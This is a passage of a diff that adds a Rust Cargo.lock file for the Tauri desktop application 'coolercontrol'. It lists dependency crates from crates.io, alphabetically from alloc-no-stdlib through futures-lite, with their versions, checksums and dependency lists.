+dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anyhow" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" + +[[package]] +name = "arboard" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aafb29b107435aa276664c1db8954ac27a6e105cdad3c88287a199eb0e313c08" +dependencies = [ + "clipboard-win", + "core-graphics", + "image", + "log", + "objc", + "objc-foundation", + "objc_id", + "parking_lot", + "thiserror", + "winapi", + "x11rb", +] + +[[package]] +name = "ascii" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d92bec98840b8f03a5ff5413de5293bfcd8bf96467cf5452609f939ec6f5de16" + +[[package]] +name = "async-broadcast" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c48ccdbf6ca6b121e0f586cbc0e73ae440e56c67c30fa0873b4e110d9c26d2b" +dependencies = [ + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ca33f4bc4ed1babef42cad36cc1f51fa88be00420404e5b1e80ab1b18f7678c" +dependencies = [ + "concurrent-queue", + "event-listener 4.0.3", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17ae5ebefcc48e7452b4987947920dac9450be1110cadf34d1b8c116bdbaf97c" +dependencies = [ + "async-lock 3.3.0", + "async-task", + "concurrent-queue", + "fastrand 2.0.1", + "futures-lite 2.2.0", + "slab", +] + +[[package]] +name = "async-fs" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "279cf904654eeebfa37ac9bb1598880884924aab82e290aa65c9e77a0e142e06" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "blocking", + "futures-lite 1.13.0", +] + +[[package]] +name = "async-io" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-lite 1.13.0", + "log", + "parking", + "polling 2.8.0", + "rustix 0.37.27", + "slab", + "socket2", + "waker-fn", +] + +[[package]] +name = "async-io" +version = "2.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6afaa937395a620e33dc6a742c593c01aced20aa376ffb0f628121198578ccc7" +dependencies = [ + "async-lock 3.3.0", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite 2.2.0", + "parking", + "polling 3.3.2", + "rustix 0.38.30", + "slab", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "async-lock" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" +dependencies = [ + "event-listener 2.5.3", +] + +[[package]] +name = "async-lock" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d034b430882f8381900d3fe6f0aaa3ad94f2cb4ac519b429692a1bc2dda4ae7b" +dependencies = [ + "event-listener 4.0.3", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea6438ba0a08d81529c69b36700fa2f95837bfe3e776ab39cde9c14d9149da88" +dependencies = [ + "async-io 1.13.0", + "async-lock 2.8.0", + "async-signal", + "blocking", + "cfg-if", + "event-listener 3.1.0", + "futures-lite 1.13.0", + "rustix 0.38.30", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-recursion" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "async-signal" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" +dependencies = [ + "async-io 2.2.2", + "async-lock 2.8.0", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 0.38.30", + "signal-hook-registry", + "slab", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-task" +version = "4.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbb36e985947064623dbd357f727af08ffd077f93d696782f3c56365fa2e2799" + +[[package]] +name = "async-trait" +version = "0.1.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "atk" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c3d816ce6f0e2909a96830d6911c2aff044370b1ef92d7f267b43bae5addedd" +dependencies = [ + "atk-sys", + "bitflags 1.3.2", + "glib", + "libc", +] + +[[package]] +name = "atk-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58aeb089fb698e06db8089971c7ee317ab9644bade33383f63631437b03aafb6" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "auto-launch" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f012b8cc0c850f34117ec8252a44418f2e34a2cf501de89e29b241ae5f79471" +dependencies = [ + "dirs", + "thiserror", + "winreg 0.10.1", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bincode" +version = "1.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" +dependencies = [ + "serde", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blocking" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" +dependencies = [ + "async-channel", + "async-lock 3.3.0", + "async-task", + "fastrand 2.0.1", + "futures-io", + "futures-lite 2.2.0", + "piper", + "tracing", +] + +[[package]] +name = "brotli" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "2.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bstr" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "bytemuck" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cairo-rs" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c76ee391b03d35510d9fa917357c7f1855bd9a6659c95a1b392e33f49b3369bc" +dependencies = [ + "bitflags 1.3.2", + "cairo-sys-rs", + "glib", + "libc", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c55d429bef56ac9172d25fecb85dc8068307d17acd74b377866b7a1ef25d3c8" +dependencies = [ + "glib-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "cargo_toml" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "599aa35200ffff8f04c1925aa1acc92fa2e08874379ef42e210a80e527e60838" +dependencies = [ + "serde", + "toml 0.7.8", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] + +[[package]] +name = "cesu8" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" + +[[package]] +name = "cfb" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f" +dependencies = [ + "byteorder", + "fnv", + "uuid", +] + +[[package]] +name = "cfg-expr" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3431df59f28accaf4cb4eed4a9acc66bea3f3c3753aa6cdc2f024174ef232af7" +dependencies = [ + "smallvec", +] + +[[package]] +name = "cfg-expr" +version = "0.15.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6100bc57b6209840798d95cb2775684849d332f7bd788db2a8c8caf7ef82a41a" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "num-traits", + "serde", + "windows-targets 0.48.5", +] + +[[package]] +name = "chunked_transfer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e4de3bc4ea267985becf712dc6d9eed8b04c953b3fcfb339ebc87acd9804901" + +[[package]] +name = "clipboard-win" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7191c27c2357d9b7ef96baac1773290d4ca63b24205b82a3fd8a0637afcf0362" +dependencies = [ + "error-code", + "str-buf", + "winapi", +] + +[[package]] +name = "cocoa" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f425db7937052c684daec3bd6375c8abe2d146dca4b8b143d6db777c39138f3a" +dependencies = [ + "bitflags 1.3.2", + "block", + "cocoa-foundation", + "core-foundation", + "core-graphics", + "foreign-types", + "libc", + "objc", +] + +[[package]] +name = "cocoa-foundation" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c6234cbb2e4c785b456c0644748b1ac416dd045799740356f8363dfe00c93f7" +dependencies = [ + "bitflags 1.3.2", + "block", + "core-foundation", + "core-graphics-types", + "libc", + "objc", +] + +[[package]] +name = "color_quant" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" + +[[package]] +name = "combine" +version = "4.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "concurrent-queue" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "convert_case" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" + +[[package]] +name = "coolercontrol" +version = "1.1.1" +dependencies = [ + "portpicker", + "serde", + "serde_json", + "tauri", + "tauri-build", + "tauri-plugin-autostart", + "tauri-plugin-localhost", + "tauri-plugin-single-instance", + "tauri-plugin-store", + "tauri-plugin-window-state", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "core-graphics" +version = "0.22.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2581bbab3b8ffc6fcbd550bf46c355135d16e9ff2a6ea032ad6b9bf1d7efe4fb" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "cssparser" +version = "0.27.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa 0.4.8", + "matches", + "phf 0.8.0", + "proc-macro2", + "quote", + "smallvec", + "syn 1.0.109", +] + +[[package]] +name = "cssparser-macros" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" +dependencies = [ + "quote", + "syn 2.0.48", +] + +[[package]] +name = "ctor" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d2b3721e861707777e3195b0158f950ae6dc4a27e4d02ff9f67e3eb3de199e" +dependencies = [ + "quote", + "syn 2.0.48", +] + +[[package]] +name = "darling" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 2.0.48", +] + +[[package]] +name = "darling_macro" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +dependencies = [ + "darling_core", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", + "serde", +] + +[[package]] +name = "derivative" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "derive_more" +version = "0.99.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version", + "syn 1.0.109", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "dirs" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3aa72a6f96ea37bbc5aa912f6788242832f75369bdfdadcb0e38423f100059" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-next" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1" +dependencies = [ + "cfg-if", + "dirs-sys-next", +] + +[[package]] +name = "dirs-sys" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "dirs-sys-next" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "dispatch" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" + +[[package]] +name = "dtoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653" + +[[package]] +name = "dtoa-short" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbaceec3c6e4211c79e7b1800fb9680527106beb2f9c51904a3210c03a448c74" +dependencies = [ + "dtoa", +] + +[[package]] +name = "dunce" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" + +[[package]] +name = "embed-resource" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bde55e389bea6a966bd467ad1ad7da0ae14546a5bc794d16d1e55e7fca44881" +dependencies = [ + "cc", + "memchr", + "rustc_version", + "toml 0.8.8", + "vswhom", + "winreg 0.51.0", +] + +[[package]] +name = "embed_plist" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "enumflags2" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5998b4f30320c9d93aed72f63af821bfdac50465b75428fce77b48ec482c3939" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "error-code" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64f18991e7bf11e7ffee451b5318b5c1a73c52d0d0ada6e5a3017c8c1ced6a21" +dependencies = [ + "libc", + "str-buf", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d93877bcde0eb80ca09131a08d23f0a5c18a620b01db137dba666d18cd9b30c2" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener" +version = "4.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b215c49b2b248c855fb73579eb1f4f26c38ffdc12973e20e07b91d78d5646e" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" +dependencies = [ + "event-listener 4.0.3", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +dependencies = [ + "instant", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "fdeflate" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "209098dd6dfc4445aa6111f0e98653ac323eaa4dfd212c9ca3931bf9955c31bd" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset 0.9.0", + "rustc_version", +] + +[[package]] +name = "filetime" +version = "0.2.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "windows-sys 0.52.0", +] + +[[package]] +name = "flate2" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" +dependencies = [ + "mac", + "new_debug_unreachable", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-lite" +version = "1.13.0" +source = 